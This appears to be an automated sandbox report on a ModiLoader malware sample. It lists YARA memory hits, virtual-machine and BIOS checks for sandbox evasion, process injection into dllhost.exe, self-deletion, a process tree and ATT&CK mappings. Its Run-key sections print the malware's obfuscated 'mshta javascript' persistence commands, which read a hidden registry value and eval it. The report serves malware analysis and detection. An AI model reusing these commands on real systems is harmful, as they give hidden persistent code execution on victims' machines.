modiloader | 63a0bf6385356dd0297449bdca2a2f171846315505800e81a4c0285f09c87312

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 46 IoCs

resource	yara_rule
behavioral2/memory/4040-3-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-4-0x000000000DCB0000-0x000000000DD74000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-5-0x000000000DCB0000-0x000000000DD74000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-2-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-6-0x000000000DCB0000-0x000000000DD74000-memory.dmp	modiloader_stage2
behavioral2/memory/4220-10-0x0000000000800000-0x00000000008C4000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-11-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/4040-9-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral2/memory/4220-12-0x0000000000800000-0x00000000008C4000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-17-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-20-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-21-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-22-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-18-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-19-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-23-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-24-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-25-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-26-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-27-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-30-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-35-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-34-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-33-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-32-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4756-31-0x00000000012E0000-0x00000000013A4000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-39-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-40-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-44-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-43-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-42-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-41-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-37-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-38-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-36-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-48-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-50-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-52-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-51-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-49-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1856-53-0x00000000004F0000-0x00000000005B4000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-63-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-66-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-65-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-64-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2
behavioral2/memory/4348-62-0x0000000000240000-0x0000000000304000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:CB2Ixf4E=\"rfk\";pf4=new%20ActiveXObject(\"WScript.Shell\");C5F4UTQRL=\"s\";x1PCW3=pf4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e28dcd0d\\\\ce2b9103\");XnuPB32MSg=\"92S4PEz\";eval(x1PCW3);aQOL88BTpf=\"D2m\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
4348	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:MoicVD8z=\"Gk\";D80D=new%20ActiveXObject(\"WScript.Shell\");ZerOoP3T=\"T\";xa9v7I=D80D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\e28dcd0d\\\\ce2b9103\");hy0lNm5o=\"Gi9Sn\";eval(xa9v7I);Vmg5tzh7G=\"JEWRnMxI\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:wVDxW7B=\"L5zf8ng\";K7X=new%20ActiveXObject(\"WScript.Shell\");fE8iY8Yaw=\"n\";K9EqO=K7X.RegRead(\"HKCU\\\\software\\\\e28dcd0d\\\\ce2b9103\");wghITD7I=\"qQUc\";eval(K9EqO);Wd7FnlL=\"iqTFs\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3220 set thread context of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
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4348	dllhost.exe
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4348	dllhost.exe
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4348	dllhost.exe
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4348	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
4220	dllhost.exe
4220	dllhost.exe
4220	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe
4348	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 3220 wrote to memory of 4040	3220	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	81
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	82
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	82
PID 4040 wrote to memory of 4220	4040	VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe	82
PID 4220 wrote to memory of 4348	4220	dllhost.exe	85
PID 4220 wrote to memory of 4348	4220	dllhost.exe	85
PID 4220 wrote to memory of 4348	4220	dllhost.exe	85
PID 4348 wrote to memory of 4756	4348	dllhost.exe	91
PID 4348 wrote to memory of 4756	4348	dllhost.exe	91
PID 4348 wrote to memory of 4756	4348	dllhost.exe	91
PID 4348 wrote to memory of 1856	4348	dllhost.exe	93
PID 4348 wrote to memory of 1856	4348	dllhost.exe	93
PID 4348 wrote to memory of 1856	4348	dllhost.exe	93

C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
"C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3220
- C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
  C:\Users\Admin\AppData\Local\Temp\VirusShare_abebbf12d4f5c17f5fc6d295b780e5a0.exe
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\SysWOW64\dllhost.exe
      dllhost.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4348
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        
        PID:4756
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:1856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion